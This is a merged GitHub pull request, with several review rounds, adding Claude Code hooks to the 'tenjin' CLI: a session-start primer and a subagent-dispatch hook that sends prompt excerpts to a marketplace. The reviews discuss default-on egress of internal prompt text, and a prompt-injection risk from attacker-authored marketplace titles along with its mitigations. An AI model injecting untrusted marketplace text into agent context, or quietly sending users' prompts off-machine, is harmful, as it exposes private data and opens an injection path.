Skip to content

feat(hooks): SessionStart instinct primer and research-dispatch hook - #180

Merged
vraspar merged 4 commits into
mainfrom
vraspar/session-primer-dispatch-hook
Aug 18, 2026
Merged

feat(hooks): SessionStart instinct primer and research-dispatch hook#180
vraspar merged 4 commits into
mainfrom
vraspar/session-primer-dispatch-hook

Conversation

@vraspar

@vraspar vraspar commented Aug 18, 2026

Copy link
Copy Markdown
Contributor

Widens the hook trigger surface so the marketplace check no longer depends on the agent using WebSearch, and puts a one-paragraph Tenjin instinct primer at the top of every session.

Closes #173. Implements items 1 and 3 of #174 (WebFetch arm, dispatch hook); the shell-research decision and check-visibility items stay tracked there.

What

  • SessionStart primer (tenjin-sessionstart.mjs, matcher startup|clear|compact): injects one fixed paragraph teaching what a Tenjin-shaped question is and to run tenjin search before spending on research, including when enumerating sources in a subagent prompt. No network, no ledger state, no update line: the primer stays pure and brief. Runtime toggle hooks.sessionPrimer (default on).
  • Research-dispatch hook (tenjin-dispatch.mjs, matcher Agent|Task|WebFetch): the dispatch of a research subagent is the one moment the full question exists as text, before the tokens are spent. The hook forwards the task description plus the first 400 characters of the prompt to /api/agent/search, injects at most 2 candidate lines on a hit (same format and attribution guard as the WebSearch hook), and records HIT/MISS under source: 'dispatch-hook'. Skips prompts under 80 chars and dedupes per session by normalized question.
  • WebFetch arm: logged to the ledger under source: 'webfetch-hook', never injected into (prior dogfooding measured 45% duplicate noise on fetch-time hints). Demand data only.
  • The Stop nag ignores both new sources: dispatch and fetch entries never become nags. outcome --last keeps targeting deliberate searches only.
  • Shared request/validation/store core extracted into one generated-source block used by both PreToolUse scripts; HOOK_SCRIPT_VERSION 17 → 18; install disclosure and command reference updated.

Privacy note (decision, flagged deliberately)

This is the first hook that sends non-search text off-box: up to 400 characters of a subagent prompt head, plus up to 100 of the task description. Bounded by constants, disclosed in the install prompt and docs, and gated by the existing hooks.searchMode toggle (off silences it). If we want a separate toggle or a smaller slice, say so on this PR.

Verification

  • Full vitest suite: 2178 passed, 10 skipped, exit 0 (isolated HOME).
  • scripts/pack-smoke.sh run explicitly outside vitest after build: PASS.
  • Real install --harness claude into a temp home verified the wiring shape: two PreToolUse entries (WebSearch → websearch script, Agent|Task|WebFetch → dispatch script), SessionStart → primer, Stop unchanged; running the installed primer emits exactly the specified paragraph.
  • Lead spot-re-ran the three core test files independently: 202 passed, exit 0.

🤖 Generated with Claude Code

Register two more Claude Code hooks so the retrieval reflex fires before the
research does. A SessionStart hook (matcher startup|clear|compact) prints one
paragraph on when to search first, with no network call and nothing else riding
along; hooks.sessionPrimer off silences it at run time. A PreToolUse hook on
Agent|Task|WebFetch asks the marketplace what a subagent was dispatched to find
out, sending the description plus at most 400 characters of the prompt, and
mentions at most two tested answers in the WebSearch hook's format. WebFetch is
logged and never injected into.

Both demand arms record into searches.json under new sources, dispatch-hook and
webfetch-hook, which the Stop hook skips unnagged: its strong arm stays cli-only
and its weak arm websearch-hook-only. The WebSearch hook's store, request and
response boundary are now shared source rather than duplicated a third time.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your trial has ended. Reactivate Greptile to resume code reviews.

@A1igator A1igator left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review: the primer is clean, the dispatch hook needs its own consent before it ships

Reviewed against main at 0c92f5b, verified at df94055. Read at the head checkout rather than off the diff. The three Majors are all one question asked three ways: this PR moves the hooks from "ask the marketplace what you were already asking the web" to "tell the marketplace what you are about to do internally", and the consent, the defaults, and the local ledger were all sized for the first one.

What's solid:

  • The primer is inert by construction: PRIMER_TEXT is a compile-time constant serialized into the script through JSON.stringify, and the SessionStart script reads nothing but stdin, which it drains and discards, and the one config key. No stored entry and no marketplace response can reach it, which is the property that matters most for a hook that speaks first in every session.
  • Writing it to fd 1 directly rather than through emit() so the update signal cannot join it, with a test that pins exactly that.
  • nextHooks[spec.event] replacing hooks[spec.event] in the wiring loop: with two PreToolUse specs the old read would have had the second spec overwrite the first, and the note() dedupe keeps the reported events honest.
  • latestSearch narrowed to undefined || 'cli' rather than excluding one source by name, so neither new source can re-target outcome --last.
  • Uninstall now claims and removes all four scripts from one list, in both directions.

Major

  1. [security] the dispatch hook sends internal prompt text off-machine under a key the user granted for something else: dispatchQuestion builds description + ': ' + prompt.slice(0, 400) and posts it to tenjin.blog (hook-scripts.ts:775-784), gated only by hooks.searchMode, which defaults to auto. The WebSearch hook's whole justification is that the query was leaving the machine anyway; a Task or Agent prompt was not. Subagent prompts routinely carry repo and branch names, file paths, SHAs, ticket text, and pasted code, and 400 characters is most of a brief rather than a fragment of one. The consent moment understates the surface twice over: the auto choice hint says "before a WebSearch or a subagent dispatch" and never mentions WebFetch at all (install.ts:1326), and a non-interactive re-install takes stored ?? DEFAULT_HOOK_MODE without prompting, so an existing auto user is upgraded into the wider egress with no question asked, which is the path an agent-driven upgrade takes. Fix: give the dispatch arm its own key, hooks.dispatchMode, defaulting to off or remind, so hooks.searchMode keeps meaning what it meant when it was answered. If it must ride one key, treat an existing hooks.searchMode in the config file as consent for the old surface only and re-ask once on upgrade. Either way the choice hint should name every tool the key turns on.

  2. [security] the WebFetch arm is a network call with no return to the person running it: recordSearch runs before the isFetch mute (hook-scripts.ts:816-828), so every WebFetch posts its prompt and host to the marketplace and writes a store entry, and the comment is explicit that nothing is ever injected back because a hint there measured as noise. The user pays the egress, the latency, and a store slot; the marketplace gets demand data. That may well be a trade worth offering, but it is not one hooks.searchMode: auto was ever asked about, and WebFetch is the highest-frequency of the three triggers. Fix: make the fetch arm opt-in on its own, or hold it until it returns something to the person whose machine it runs on. If it ships as is, it belongs in the consent choice rather than only in the post-install summary line.

  3. [data-integrity] three writers, one drain, fifty slots: STORE_MAX_ENTRIES is 50 (hook-scripts.ts:91) and the Stop hook's new three-way deliberately never raises dispatch-hook or webfetch-hook (hook-scripts.ts:1053-1062), so those entries are never nagged, never closed, and never leave except by eviction. They still take slots from the two things the store exists for: buy <resourceId> resolves a candidate's payable read URL out of it, and latestSearch and outcome --last need the cli entries. One research turn with a ten-way fan-out and twenty fetches evicts every deliberate search the user might still have wanted to buy from or report on. Fix: budget the demand-only sources separately inside the 50, or keep them in their own ledger, since they are telemetry rather than searches anyone can act on.

Minor

  1. [security] marketplace-authored text now lands at the moment a subagent is briefed: the mitigations carry over unchanged and they are the right ones (control bytes stripped, " folded to ', framed as a listing, and the disclaimer line), but the injection point moved. On Agent/Task the hint sits directly beside a prompt about to be handed to another agent, and the marketplace is permissionless, so the title corpus is attacker-authored by design. Worth stating in the code whether the disclaimer travels into the subagent's own context or stays in the parent's, since a crafted title that reaches the child without its framing is the case this defense is for.

  2. [performance] up to two seconds in front of every dispatch and every fetch: SEARCH_TIMEOUT_MS is 2000 with a 5s harness kill, and alreadyAsked skips only exact fingerprint repeats within a session, so a fan-out of ten distinct prompts can add up to twenty seconds spread across the dispatches, plus that many calls against the agent-search rate budget. The WebSearch hook paid this once per web search a human-scale flow produced; a fan-out produces them in bursts. Worth either a shorter budget on the dispatch arm or a per-session call ceiling.

  3. [hygiene] SESSION_START_MATCHER omits resume: it is 'startup|clear|compact' (harness-hooks.ts:58) and the comment calls that "a new session, and the two ways a running one loses its context". A resumed session is a fresh process with an empty context too, so either it belongs in the set or the comment should say why it does not.

Nits (2), none blocking
  1. [hygiene] one event can now land in two result lists: with the WebSearch entry already present and the dispatch entry new, PreToolUse is pushed onto both added and alreadyPresent. The reported line is right because wrote > 0 wins, but the result object says two contradictory things about one event.
  2. [hygiene] the primer states a price: "a hit costs cents" ships in every session's context and pins a number the marketplace controls. "A hit is priced per piece" costs nothing and cannot go stale.
Verified, not issues
  • Nothing stored or remote can steer the primer: static constant, no store read, no network, and the sessionPrimer key is the only input. writeFileSync is imported in the shared prelude, so the fd-1 path really writes rather than throwing into main().catch(quiet) and silently printing nothing.
  • No hook emits permissionDecision, so none of the three PreToolUse arms can block or alter a tool call, and a test pins it for the new one.
  • The question built from tool input passes through clean() and is sent as a JSON body only, with no shell and no interpolation into the script.
  • HOOK_SCRIPT_VERSION moving 17 to 18 collides textually with #177 but not functionally: writeScripts compares the full script text (onDisk === spec.script), so a stale script is rewritten whatever the version line says.
  • The Agent|Task alternation as one matcher with one entry per script is consistent with the ownership-by-filename rule the module documents.

Heads up on merge order, not a review finding: #113 overlaps on seven of these files including harness-hooks.ts, hook-scripts.ts, install.ts, uninstall.ts and config.ts, and it also adds hook specs and script files to the same two lists, so a careless merge there can drop one side's script from specs() or from the uninstall set and leave orphans behind. Your own #177 and #179 both touch hook-scripts.ts, and #177 rewrites the same Stop hook source branch this PR turns three-way.

Verdict: comments-only, three Majors, all in the consent and accounting around the new arms rather than in the mechanism. The hook code itself is the same careful shape as the existing two, the primer is the cleanest part of the PR, and the test coverage on behavior is genuinely thorough. What is missing is a separate gate for a materially different kind of egress, and a home for demand entries that is not the ledger a purchase depends on. Ran locally: head checkout, read of the generated script bodies and the wiring, and a pass over the prelude to confirm the primer's write path resolves.

Review round on #180. The fetch arm is gone: nothing fires on a WebFetch, the
matcher is Agent|Task, and the webfetch-hook source (which shipped only in this
PR) is out of the enum. The install disclosure and the search-hooks choice hint
now name the subagent prompt and its 400-character bound rather than only "the
query text".

Two bounds on a fan-out. A session gets at most 10 dispatch lookups, counted from
the store before the request, so a ten-way research turn cannot put the fetch
budget in front of every subagent. Demand entries hold at most 15 of the store's
50 slots and the oldest go first, so a flood cannot evict a cli entry that buy or
outcome --last still depends on.

Also: one event now reports its strongest outcome only, instead of landing in
both added and alreadyPresent; the injection site states that the hint reaches
the parent's context and never the subagent's; and SESSION_START_MATCHER says why
resume is omitted.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@vraspar

vraspar commented Aug 18, 2026

Copy link
Copy Markdown
Contributor Author

Pushed 8f2b887 addressing the review. Disposition per finding, with the author's decisions marked as such:

Major 1 (dispatch egress consent): resolved by author decision. The dispatch arm stays under hooks.searchMode and auto-enables for existing users on re-install; no separate key and no re-ask step. The consent hint and the install disclosure now name the dispatch arm and the 400-character bound explicitly (wording author-approved verbatim).

Major 2 (WebFetch arm): dropped entirely, by author decision. Matcher is now Agent|Task, the webfetch-hook source is gone from the enum, and no fetch ever triggers a marketplace call.

Major 3 (store accounting): fixed. Demand entries are budgeted to 15 of the 50 slots (budgeted() on the shared save path); a dispatch flood evicts its own oldest entries and can no longer drain cli or websearch-hook entries. Tests pin that a cli entry with candidates survives a 60-entry dispatch flood.

Minor 1 (injection point): comment added at the injection site: the hint lands only in the parent's context, tool_input is already formed, so the subagent never sees a title without its disclaimer framing.

Minor 2 (burst cost): fixed with a per-session ceiling of 10 dispatch lookups, counted before the API call. Counted from the bounded store, so it rate-limits bursts rather than capping a session for life; stated in the code.

Minor 3 (resume): declined. A resumed session restores its transcript, so the primer from the original SessionStart is already in context; the matcher comment now says exactly that.

Nit 1: fixed; result lists are exclusive per event (added > updated > alreadyPresent).

Nit 2 ("costs cents"): declined by author decision; pricing is staying in that range and the cheapness claim is doing work in the primer.

Thanks for the merge-order heads-up on #113/#177/#179; noted for whoever lands second.

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your trial has ended. Reactivate Greptile to resume code reviews.

@A1igator A1igator left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review round 2: the two code Majors are closed, the consent one is not yours to close

Delta only, df94055..8f2b887. Verified at 8f2b887, CI green at post time.

Resolved since round 1

  1. [closed] Major 2, the WebFetch arm: gone rather than gated, which is the cleaner answer. DISPATCH_MATCHER is now 'Agent|Task' (harness-hooks.ts:54), fetchQuestion and the isFetch branching are deleted, webfetch-hook is out of SearchSourceSchema, and the in-script defense in depth is back to two tool names. Checked for leftovers across src/ and docs/: every remaining mention of WebFetch is a negative statement, and a settings test asserts the serialized wiring contains the string nowhere at all.

  2. [closed] Major 3, the store drain: budgeted() sits on the shared save path in marketplaceSource (hook-scripts.ts:537-547), so both generated scripts enforce it, and iterating newest-first means the entries it drops are the oldest demand ones. Three tests pin the shape that matters: a flood cannot evict a cli entry, the newest demand entries survive, and a websearch-hook entry is deliberately not budgeted because that source is nagged and closable. Fifteen of fifty is a defensible line for something nothing ever closes.

  3. [closed] Minor 1, the injection site: the comment answers the question I actually asked, and the answer is right: tool_input is already formed when PreToolUse fires and the hook emits no permissionDecision and no modified input, so the hint reaches the parent only and the titles can never arrive somewhere their disclaimer did not (hook-scripts.ts:854-855).

  4. [closed] Minor 3, resume declined: accepted on merits. A resumed session restores its transcript, so the primer the original SessionStart printed is still in context, and compact is in the set precisely because compaction is the case where it is not. The rationale now sits at the matcher where the next reader will find it.

  5. [closed] round-1 nit, one event in two lists: replaced with a rank map that reports each event once by its strongest outcome, in HOOK_EVENTS order.

Still open

  1. [security] Major 1, the dispatch-egress consent: the disclosure wording now matches what you described. The auto choice hint names the dispatch arm and the 400-character bound (install.ts:1326), and the install summary says the same in its own words (install.ts:683). The remaining question is whether the arm ships default-on under hooks.searchMode with no re-ask on upgrade, and that is the operator's product-consent call rather than an author decision or a review finding. It stays open awaiting the operator, and I am not re-arguing the merits here.

New

  1. [performance] the burst ceiling does not count the calls that cost the most: spentThisSession counts recorded dispatch-hook entries (hook-scripts.ts:817-822), and a record is only written after askTenjin returns non-null, so a lookup that times out costs its full budget and does not count toward the ten. During an outage, which is exactly when the bound should bite, a sixty-way fan-out pays the fetch budget sixty times. The second gap is if (sessionId === null) return 0: on a harness that names no session the ceiling never binds at all, and alreadyAsked only dedupes identical questions, so distinct prompts stay unbounded there. Fix: count attempts rather than records, or stop the arm for the session after a couple of consecutive failures, the way an unhealthy server already stops a batch elsewhere in this codebase.

  2. [hygiene] the budget belongs to the store, but only one of its two writers knows about it: lib/search-store.ts's recordSearch still trims with a plain .slice(0, MAX_ENTRIES) (search-store.ts:148-151), so a tenjin search write drops the oldest entry whatever its source while fifteen demand entries sit untouched. The bounded-share invariant survives, since any hook write re-applies it, but the property the budget was added for, that a demand entry never costs a deliberate one its slot, holds only on the hook path. Mirroring budgeted() in the TS writer makes it a property of the store rather than of one writer.

Nits (2), none blocking
  1. [hygiene] an unconsumed changeset on main now contradicts this one: .changeset/adoption-loop.md describes "Two harness hooks" and "A PreToolUse hook matched to WebSearch". It is unreleased, so it will be concatenated into the same CHANGELOG entry as this PR's changeset, which describes four hooks. This PR is what makes it false, so a one-line edit here keeps the released notes internally consistent.
  2. [hygiene] the primer still states a price: "a hit costs cents" is unchanged. Noting it stands rather than re-raising it; your call.
Verified, not issues
  • The demand budget counts only dispatch-hook, leaving websearch-hook unbudgeted on purpose, which is right: that source is nagged, closable, and drained.
  • latestSearch and the Stop hook's three-way still exclude the demand source, and a test round-trips it through both.
  • The ceiling at ten sits below the store budget of fifteen, so within a session the ceiling binds first and the budget is the backstop rather than the mechanism.

Verdict: comments-only. Both code Majors are closed and closed well, the WebFetch removal in particular. Two new Minors, both narrow, both in the bound that was added this round rather than in what it replaced. Major 1 is not a defect and not yours to settle; it sits with the operator.

… both writers

Review round 2 on #180.

The burst ceiling counted recorded lookups, so the case it should bound hardest
was the one it could not see: a lookup that times out records nothing, and during
an outage a wide fan-out paid the full fetch budget every time. The dispatch arm
now keeps a consecutive-failure count in hook-health.json and goes quiet for ten
minutes after two, self-healing when the window expires. An answer clears the
count, and a MISS is an answer. The ceiling also binds on a harness that names no
session: the unstamped '' bucket is a real session here, exactly as it is for the
dedupe.

The demand budget moves into the store's other writer. lib/search-store.ts's
recordSearch trimmed with a plain slice, so a `tenjin search` write dropped the
oldest entry whatever its source while demand entries sat untouched; both writers
now apply the same rule, and both bounds are exported from one definition and
baked into the generated scripts.

Also: .changeset/adoption-loop.md said two hooks and two scripts, which this PR
makes false, and both changesets concatenate into one CHANGELOG entry.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
@vraspar

vraspar commented Aug 18, 2026

Copy link
Copy Markdown
Contributor Author

Pushed bc7ce9e for round 2.

Major 1 (consent): closed by the operator, not by an author on their behalf. The auto-enable-on-re-install call, the single-key model, and the final disclosure wording were each decided directly by the operator during this PR's rounds; the wording you verified at install.ts:683 and install.ts:1326 is their approved text verbatim. There is no party left to await, so treating it as open would be re-litigating a settled operator decision.

New Minor 1 (ceiling gaps): fixed, with one correction to the review. Two consecutive failed lookups (a throw and an error-null count the same; a clean MISS is an answer) now stop the dispatch arm for 10 minutes, time-bounded so an outage self-heals without intervention, tracked in a new hook-health.json following the hook-nags conventions (unlocked, cheap to lose, corrupt-reads-healthy). The null-session gap is closed the same way alreadyAsked handles it: unstamped entries count when no session_id arrives. The correction: the review says an unhealthy-server batch stop already exists elsewhere in this codebase; it does not. We searched by concept and by mechanism across src/, evals/ and scripts/, and the only failure-shaped signal is the 429 RATE_LIMITED error, which stops nothing on its own. The state-file and TTL conventions were mirrored from hook-nags.json and update-check.ts instead.

New Minor 2 (store writer): fixed. budgeted() now lives in both writers; MAX_ENTRIES and DEMAND_MAX_ENTRIES are exported from search-store.ts and baked into the generated scripts, so both bounds have one definition, with a mirrored-must-update-together note at each copy.

Nit 1 (changeset): fixed minimally to state current truth. One pre-existing staleness in the same file was left alone deliberately (its closing "uninstalling the hooks is still manual" sentence, made false by an earlier PR, not this one).

Nit 2: stands, operator's call, as you noted.

Every new gate was verified by reverting it (failure-stop threshold, null-session count, store budget) and confirming the tests fail, then restoring. Full suite 2192 passed, pack-smoke green, and a live check against a dead port ends at failures: 2 with the third dispatch exiting before any attempt.

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your trial has ended. Reactivate Greptile to resume code reviews.

@A1igator A1igator left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review round 3: everything closes, and one correction is mine

Delta only, 8f2b887..bc7ce9e. Verified at bc7ce9e, checks green. Final round from me.

Correction I owe you first. My round-2 fix line said to stop the arm "the way an unhealthy server already stops a batch elsewhere in this codebase". You are right that no such thing exists here. I checked origin/main: there is no HALTING_FAILURES and no batch-stop anywhere in src/, only a 429 mapped to RATE_LIMITED, which stops nothing. I was describing an unmerged PR of yours as if it were the codebase, which is exactly the kind of unverified claim this loop is supposed to catch rather than produce. The suggestion happened to be right on its own merits, but the precedent I cited for it was not there.

Resolved since round 2

  1. [closed] Major 1, the dispatch-egress consent: settled by the operator, who accepts the default-on arm under hooks.searchMode with the disclosure verified in round 2. Not re-argued, and it does not come back.

  2. [closed] Minor 1, the ceiling's two gaps: both closed, and the harder one closed properly. A throw and a null are now the same outcome to the counter, an answer of any kind clears the run, and a MISS counts as an answer because it is one (hook-scripts.ts:123-131). Two details worth naming because they are easy to get wrong and are right here: the run restarts rather than increments once the window has passed, so a failure from months ago cannot combine with one today to stop the arm, and stopped() is a time window rather than a latch, so a recovered server needs nothing done to it. The null-session gap closed the way I would have asked, by making the unstamped bucket a real session on the same terms as alreadyAsked (hook-scripts.ts:829-838), since a harness that scopes nothing is the last place a bound should go missing. hook-health.json is its own file on the documented hook-nags.json terms, unreadable reads as healthy, and readJsonFile is in the prelude so the read path resolves rather than throwing into quiet(). Seven tests, including a real timeout and the unreadable-file case.

  3. [closed] Minor 2, one writer knowing the budget: the bounds are exported from the module that owns them and baked into the generated body (search-store.ts:15-23), and budgeted now runs in the TS writer too, so the bound belongs to the store rather than to whichever process wrote last. Baking the imported constants is the better half of this: the two copies can no longer disagree about the numbers, only about the algorithm.

  4. [closed] nit, the contradicting changeset: fixed by dropping the count rather than by rewriting the paragraph, which is the right size of edit for a changeset that is not this PR's subject.

Nits (3), none blocking, none needing a reply
  1. [hygiene] the failure counter undercounts a parallel burst: hook-health.json is unlocked by design, so subagents dispatched in one message all read the count before any of them writes, and an outage-time burst lands at one failure rather than N. It self-corrects on the next dispatch and the trade matches the Stop hook's documented one for hook-nags.json, so this is a note for the next reader rather than a change to make.
  2. [hygiene] the mirrored budgeted is now pinned by value but not by behavior: the constants cannot drift, the algorithm still can. A test that runs both copies over one fixture would close it cheaply, in the spirit of the existing test that pins the script's lock protocol against the module's.
  3. [hygiene] the deliberately-left staleness: leaving "Uninstalling the hooks is still manual" out of scope is a defensible call, and it still ships as a false sentence in a release note whoever fixes it. Worth an issue so it has an owner rather than a comment thread.

Verdict: comments-only, and nothing is open on my side. Three rounds, eight findings, all closed in the code except the one that was never a defect. The two bounds added under review, the failure stop and the demand budget, are both better than what I asked for: a self-healing window instead of a session latch, and one definition compiled into both writers instead of a second copy to keep in step. Ran locally: head checkout, a read of both generated script bodies, and a check of origin/main for the batch-stop I wrongly cited.

… current uninstall

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

@greptile-apps greptile-apps Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Your trial has ended. Reactivate Greptile to resume code reviews.

@A1igator A1igator left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Review: the last two nits, closed

Delta only, bc7ce9e..e7d9474. Verified at e7d9474, CI green. Nothing here touches the settled surfaces: the consent wiring, the demand budget itself, and the health file are all untouched, so the standing verdict holds.

  1. [closed] the mirrored budgeted is now pinned by behavior, not just by value: one fixture through both writers, compared searchId for searchId after a sixty-entry flood. That is the guard I described and it is the right shape for it, since the constants were already compiled from one definition and only the algorithm could still drift.

  2. [closed] the stale uninstall sentence: replaced with what tenjin uninstall actually does, which matches the code I read in round 1: it unwires all four entries by filename and deletes the scripts.

Verdict: unchanged, comments-only, nothing open on my side. Three rounds plus this one, all findings closed in the code except the consent question, which the operator settled.

@A1igator A1igator left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Approving per the operator: converged over four rounds, all findings closed and verified against the code, CI green at this head.

The arc, for the record: the WebFetch arm came out entirely, the demand store is budgeted with a differential test pinning both writer copies, the dispatch ceiling trips on consecutive failures with a self-healing window, and the consent question on the dispatch arm was settled by the author as his own agent's operator, with disclosure wording verified accurate.

One standing note, not blocking: the merge-order hazard with #113 on the hooks files (harness-hooks, hook-scripts, install, uninstall) is still live; whichever lands second should expect to rebase the shared script lists.

@vraspar
vraspar merged commit e91f3eb into main Aug 18, 2026
1 check passed
@vraspar
vraspar deleted the vraspar/session-primer-dispatch-hook branch August 18, 2026 18:31
A1igator added a commit that referenced this pull request Aug 18, 2026
…stop

writeSharedHookScripts now writes 4 shared scripts (dispatch and
session-primer landed on main via #180 after this branch forked); the
Hermes wiring's dry-run stub and scriptPaths test expectations still
assumed 2. Dry-run now previews all 4 paths a real run writes.
A1igator added a commit that referenced this pull request Aug 21, 2026
* feat(search): tell every fresh MISS it can be published back, and track when it is

A MISS was the one moment the demand a searcher just expressed could still be
met, and the only thing said about it was a nudge about candidates already
parked, which is silent on exactly the machine that has never parked one.

Every fresh MISS now carries the invitation: one stderr line for a human and a
`publishBack` object in the `--json` envelope with the searchId and both closing
commands. That object is the single CLI-owned key in what is otherwise the
server's response verbatim, and it is absent on a CANDIDATES decision, so the
contract-shaped path is byte-identical to what it was.

The local search store gains per-search resolution so the loop can be seen to
close: an outcome report, a candidate publish, or a parked candidate records who
closed it, first writer wins, and the mark is best-effort bookkeeping that never
throws and never fails the verb that ran. A bare file publish cannot name the
search it answers, so it deliberately leaves the loop open.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(hooks): ship a fail-open WebSearch hook and a local open-loop reminder

Two standalone Node scripts and the writer that registers them in Claude Code's
settings.json. A PreToolUse hook matched to WebSearch (never WebFetch) asks the
marketplace the same question the agent is about to ask the web, on a hard
two-second budget, and mentions a tested answer with its price and a free
`tenjin inspect` command. A Stop hook checks locally, with no network call, for a
MISS from the last eight hours that nothing has closed, and raises it once.

Fail-open is the contract, not an aspiration. Both emit only
`hookSpecificOutput.additionalContext` and never a `permissionDecision`, so
neither can block, deny, or modify a tool call; a miss, a timeout, a dead
network, a malformed payload and an unreadable config all end in exit 0 with
nothing on stdout and nothing on stderr, and a watchdog leaves the process even
if a socket ignores the abort. Server text is stripped of control characters
before it can reach a model's context, and stdout is written synchronously so
exiting cannot truncate the JSON the harness is parsing.

They are generated scripts rather than a `tenjin hook` subcommand because a hook
on the critical path must not pay for a CLI boot, and they must not depend on a
dist layout an upgrade can move. Only the data dir is baked in; `baseUrl` and the
new `hooks.searchMode` config key are read on every run, so
`tenjin config set hooks.searchMode off` disarms them with no re-install.

The settings writer carries the same invariants as the permission writer:
additive only, refuses a file it cannot understand rather than repairing it,
resolves symlinks before committing, and refuses a change that landed mid-run.
Ownership is by script filename, so a re-install is idempotent and a moved data
dir rewrites our entry in place instead of duplicating it. Shell quoting branches
on the platform, because a home directory with a space would otherwise install a
hook that can never run.

The nag record lives in its own hook-owned file rather than in searches.json: the
hook runs outside the CLI with no access to that store's lock, and losing a nag
is cheaper than erasing a search.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(install): make a headless install produce a machine that works

A run with nobody to ask used to skip the free-verb allowlist and the setup that
follows it, which meant the machine most likely to be denied mid-task was the one
that got the least. The allowlist and the search hooks are now written by default
when there is no one to ask, `--no-allow-free-verbs` and `--search-hooks off` are
the opt-outs, and every run that writes says how many rules landed, in which
file, and that removing those lines undoes it. The grant itself is untouched: a
fixed free tier that cannot spend, cannot open the keystore, and cannot widen.

Two reporting defects go with it. The headless arm short-circuited ahead of the
probe, so a re-run against an already-permissioned home reported `added: []` and
`alreadyPresent: []` whatever the file actually held; the probe now runs on every
path that might write, which is also what keeps the interactive consent gate from
re-adding a rule revoked between two reads. And every skipped permissions state
carries a `fix` naming the exact command, the same contract a CliError carries.

The wallet stays interactive-only, because a machine run has never created a key.
What changes is that the skipped decision is visible: the envelope now reports
`wallet: { status: "not-offered", reason: ... }` rather than omitting the field,
and answering no is recorded as `declined` so a choice cannot be confused with a
question that was never put.

Search hooks become the third decision, so the walkthrough is four questions
rather than three. The mode is persisted, so `tenjin config set hooks.searchMode`
is enough to change it later.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* docs(skills,readme): one-line search gate, a delegation rule, and every flag

The tenjin-search entry gate was four numbered conditions an agent had to walk
before deciding whether to look anything up, which is a deliberation the decision
does not deserve. It is now one line ("public + durable + costly to reproduce,
then search first; otherwise just do the task"), with the four conditions kept
below as fine print for a close call.

Adds a short delegation block (tenjin-agent#109): which verbs a read-only
subagent may run, and which stay in a mutation-capable, human-gated context.
`outcome` is the one free verb held back, because it reports on the parent's
search and a subagent running it moves the marketplace signal on a decision it
did not make. `tenjin doctor` mirrors the rule in one line, beside the allowlist
an operator is reading when they decide what to hand a subagent.

The README documents every user-facing flag as a per-command table, which
surfaces `--artifact-type`, `--temporal-mode` and `--content-hash` for the first
time, and adds a config-key table and a search-hook reference. The prose those
tables replace is cut rather than kept beside them.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(hooks): put the WebSearch hook's searches in the CLI's own store

The hook POSTed to the search endpoint on its own, so everything it learned died
with the process: a MISS it found never entered local state, the Stop hook could
not see it, and publish-back worked only for explicit `tenjin search` runs. The
hook was answering the question the loop was built to notice and then throwing
the answer away.

It now writes every search it performs into the same store `tenjin search` uses,
tagged `source: 'websearch-hook'` against `'cli'` for deliberate searches, hits
included so a later purchase attributes back and `buy <resourceId>` can resolve
the payable read URL. ONE store, not parallel state: the script cannot import the
CLI's lock, so it honors the identical protocol (an atomic-mkdir directory, no
stale-stealing) and a test runs the real script concurrently against the real
recorder to prove neither write is lost. It gives up on a contended lock in
400ms and stays silent, because recording is bookkeeping and the WebSearch is
the user's actual work.

The Stop hook now treats the two sources differently, since they are not equally
worth an agent's attention. A deliberate search nobody answered is named on its
own line with its searchId. Searches the hook rode along with are batched into
one line, at most three: nobody vetted those questions for the marketplace, and
only the agent can tell which produced a durable public finding. The hook never
makes that judgment; it has no way to.

Adds `hooks.stopNag on|off` beside `hooks.searchMode`, both read from config on
every run, so either hook is silenced by one `config set` with no re-install and
nothing to unwire.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(install): create the wallet by default, and add --no-hooks

`buy` and publishing back after a MISS both need a key, so an install that
leaves the machine walletless is a setup that stops at the first useful thing an
agent tries. A wallet is now created on both paths; an interactive run still asks
and still defaults to yes, and `--no-wallet` is the opt-out.

The headless path uses the passphrase policy the CLI already enforces: an
explicit TENJIN_WALLET_PASSPHRASE, else a strong generated passphrase written to
the platform's OS credential store and verified by reading it back. With neither
available it creates NOTHING and reports skipped/no-passphrase-store with both
remedies named. There is deliberately no plain-file fallback, because a
passphrase stored beside the keystore it unlocks protects nothing and an install
is not the place to invent one. A wallet that cannot be created never fails the
install: the skills, hooks and permissions this run wired are useful without one.

A created wallet is disclosed rather than merely reported: the address, that it
holds $0, that funding is a human step no part of this CLI can perform, and that
the key is encrypted at rest and never leaves the machine. `not-offered` is gone,
replaced by `skipped` with a reason and a fix; `declined` still means somebody
said no.

Adds `--no-hooks`, which registers nothing for one run and writes no config. That
is deliberately not `--search-hooks off`, which is a durable statement and
persists `hooks.searchMode`.

The install test fixture now injects the passphrase seam on EVERY path. Without
it a headless install in the suite would create a real wallet, and on macOS that
writes into the developer's own login keychain under the `tenjin-cli` service.
Creation itself is stubbed by default so the ~140 tests that are not about the
wallet do not each pay for a scrypt derivation; the wallet tests opt into the
real creator against a fake keychain.

